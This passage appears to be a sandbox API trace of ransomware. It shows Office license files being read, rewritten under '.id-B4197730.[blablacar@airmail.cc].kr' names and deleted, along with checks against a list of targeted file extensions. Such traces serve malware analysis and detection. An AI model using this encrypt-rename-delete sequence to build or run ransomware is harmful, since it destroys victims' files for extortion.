office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 0x220 [0200.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.424] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.424] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0200.425] GetLastError () returned 0x0 [0200.425] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2b8b, lpOverlapped=0x0) returned 1 [0200.427] WriteFile (in: hFile=0x534, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2b90, lpOverlapped=0x0) returned 1 [0200.428] ReadFile (in: hFile=0x550, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.428] WriteFile (in: hFile=0x534, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x104, lpOverlapped=0x0) returned 1 [0200.428] SetEndOfFile (hFile=0x534) returned 1 [0200.562] CloseHandle (hObject=0x534) returned 1 [0200.562] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.562] SetEndOfFile (hFile=0x550) returned 1 [0200.565] CloseHandle (hObject=0x550) returned 1 [0200.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-pl.xrm-ms")) returned 1 [0200.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.912] lstrlenW (lpString=".doc") returned 4 [0200.912] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.912] lstrlenW (lpString=".docx") returned 5 [0200.912] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.912] lstrlenW (lpString=".pdf") returned 4 [0200.912] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.912] lstrlenW (lpString=".xls") returned 4 [0200.912] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.912] lstrlenW (lpString=".xlsx") returned 5 [0200.912] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.912] lstrlenW (lpString=".ppt") returned 4 [0200.912] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.912] lstrlenW (lpString=".zip") returned 4 [0200.912] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.912] lstrlenW (lpString=".rar") returned 4 [0200.913] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString=".bz2") returned 4 [0200.913] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString=".7z") returned 3 [0200.913] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.913] lstrlenW (lpString=".dbf") returned 4 [0200.913] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.913] lstrlenW (lpString=".1cd") returned 4 [0200.913] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.913] lstrlenW (lpString=".jpg") returned 4 [0200.913] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.913] lstrlenW (lpString=".doc") returned 4 [0200.913] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString=".docx") returned 5 [0200.913] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.913] lstrlenW (lpString=".pdf") returned 4 [0200.913] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString=".xls") returned 4 [0200.913] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString=".xlsx") returned 5 [0200.913] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.913] lstrlenW (lpString=".ppt") returned 4 [0200.913] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.913] lstrlenW (lpString=".zip") returned 4 [0200.913] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString=".rar") returned 4 [0200.913] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.913] lstrlenW (lpString=".bz2") returned 4 [0200.914] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.914] lstrlenW (lpString=".7z") returned 3 [0200.914] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.914] lstrlenW (lpString=".dbf") returned 4 [0200.914] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.914] lstrlenW (lpString=".1cd") returned 4 [0200.914] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-pl.xrm-ms") returned 74 [0200.914] lstrlenW (lpString=".jpg") returned 4 [0200.914] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.914] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.914] lstrlenW (lpString="MondoR_SubTest2-pl.xrm-ms") returned 25 [0200.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0200.915] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11151) returned 1 [0200.915] CloseHandle (hObject=0x538) returned 1 [0200.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 0x220 [0200.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0200.916] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.916] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.917] GetLastError () returned 0x0 [0200.917] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0200.918] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2b90, lpOverlapped=0x0) returned 1 [0200.920] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.920] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x106, lpOverlapped=0x0) returned 1 [0200.920] SetEndOfFile (hFile=0x550) returned 1 [0200.920] CloseHandle (hObject=0x550) returned 1 [0200.920] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.920] SetEndOfFile (hFile=0x538) returned 1 [0200.923] CloseHandle (hObject=0x538) returned 1 [0200.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 1 [0200.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.924] lstrlenW (lpString=".doc") returned 4 [0200.924] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.924] lstrlenW (lpString=".docx") returned 5 [0200.924] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.924] lstrlenW (lpString=".pdf") returned 4 [0200.924] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.924] lstrlenW (lpString=".xls") returned 4 [0200.924] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.924] lstrlenW (lpString=".xlsx") returned 5 [0200.924] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.924] lstrlenW (lpString=".ppt") returned 4 [0200.924] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.924] lstrlenW (lpString=".zip") returned 4 [0200.924] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.924] lstrlenW (lpString=".rar") returned 4 [0200.924] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.924] lstrlenW (lpString=".bz2") returned 4 [0200.924] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString=".7z") returned 3 [0200.925] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.925] lstrlenW (lpString=".dbf") returned 4 [0200.925] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.925] lstrlenW (lpString=".1cd") returned 4 [0200.925] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.925] lstrlenW (lpString=".jpg") returned 4 [0200.925] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.925] lstrlenW (lpString=".doc") returned 4 [0200.925] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString=".docx") returned 5 [0200.925] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.925] lstrlenW (lpString=".pdf") returned 4 [0200.925] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString=".xls") returned 4 [0200.925] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString=".xlsx") returned 5 [0200.925] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.925] lstrlenW (lpString=".ppt") returned 4 [0200.925] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.925] lstrlenW (lpString=".zip") returned 4 [0200.925] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString=".rar") returned 4 [0200.925] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString=".bz2") returned 4 [0200.925] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.925] lstrlenW (lpString=".7z") returned 3 [0200.925] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.926] lstrlenW (lpString=".dbf") returned 4 [0200.926] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.926] lstrlenW (lpString=".1cd") returned 4 [0200.926] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0200.926] lstrlenW (lpString=".jpg") returned 4 [0200.926] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.926] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.926] lstrlenW (lpString="MondoR_SubTest2-ppd.xrm-ms") returned 26 [0200.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0200.927] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=26525) returned 1 [0200.927] CloseHandle (hObject=0x538) returned 1 [0200.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 0x220 [0200.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0200.928] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.928] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0200.928] GetLastError () returned 0x0 [0200.928] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x679d, lpOverlapped=0x0) returned 1 [0200.931] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x67a0, lpOverlapped=0x0) returned 1 [0200.932] ReadFile (in: hFile=0x538, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0200.932] WriteFile (in: hFile=0x550, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x108, lpOverlapped=0x0) returned 1 [0200.932] SetEndOfFile (hFile=0x550) returned 1 [0200.932] CloseHandle (hObject=0x550) returned 1 [0200.932] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0200.932] SetEndOfFile (hFile=0x538) returned 1 [0200.935] CloseHandle (hObject=0x538) returned 1 [0200.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ppd.xrm-ms")) returned 1 [0200.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.937] lstrlenW (lpString=".doc") returned 4 [0200.937] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.937] lstrlenW (lpString=".docx") returned 5 [0200.937] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.937] lstrlenW (lpString=".pdf") returned 4 [0200.937] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.937] lstrlenW (lpString=".xls") returned 4 [0200.937] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.937] lstrlenW (lpString=".xlsx") returned 5 [0200.937] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.937] lstrlenW (lpString=".ppt") returned 4 [0200.937] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.937] lstrlenW (lpString=".zip") returned 4 [0200.937] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.937] lstrlenW (lpString=".rar") returned 4 [0200.937] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.937] lstrlenW (lpString=".bz2") returned 4 [0200.937] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.937] lstrlenW (lpString=".7z") returned 3 [0200.937] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.937] lstrlenW (lpString=".dbf") returned 4 [0200.937] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.937] lstrlenW (lpString=".1cd") returned 4 [0200.937] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.937] lstrlenW (lpString=".jpg") returned 4 [0200.937] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.938] lstrlenW (lpString=".doc") returned 4 [0200.938] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0200.938] lstrlenW (lpString=".docx") returned 5 [0200.938] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0200.938] lstrlenW (lpString=".pdf") returned 4 [0200.938] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0200.938] lstrlenW (lpString=".xls") returned 4 [0200.938] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0200.938] lstrlenW (lpString=".xlsx") returned 5 [0200.938] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0200.938] lstrlenW (lpString=".ppt") returned 4 [0200.938] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0200.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.938] lstrlenW (lpString=".zip") returned 4 [0200.938] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0200.938] lstrlenW (lpString=".rar") returned 4 [0200.938] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0200.938] lstrlenW (lpString=".bz2") returned 4 [0200.938] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0200.938] lstrlenW (lpString=".7z") returned 3 [0200.938] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0200.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.938] lstrlenW (lpString=".dbf") returned 4 [0200.938] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0200.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.938] lstrlenW (lpString=".1cd") returned 4 [0200.938] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0200.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ppd.xrm-ms") returned 76 [0200.938] lstrlenW (lpString=".jpg") returned 4 [0200.938] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0200.939] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0200.939] lstrlenW (lpString="MondoR_SubTest2-ul-oob.xrm-ms") returned 29 [0200.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0200.939] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=11595) returned 1 [0200.939] CloseHandle (hObject=0x538) returned 1 [0200.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" 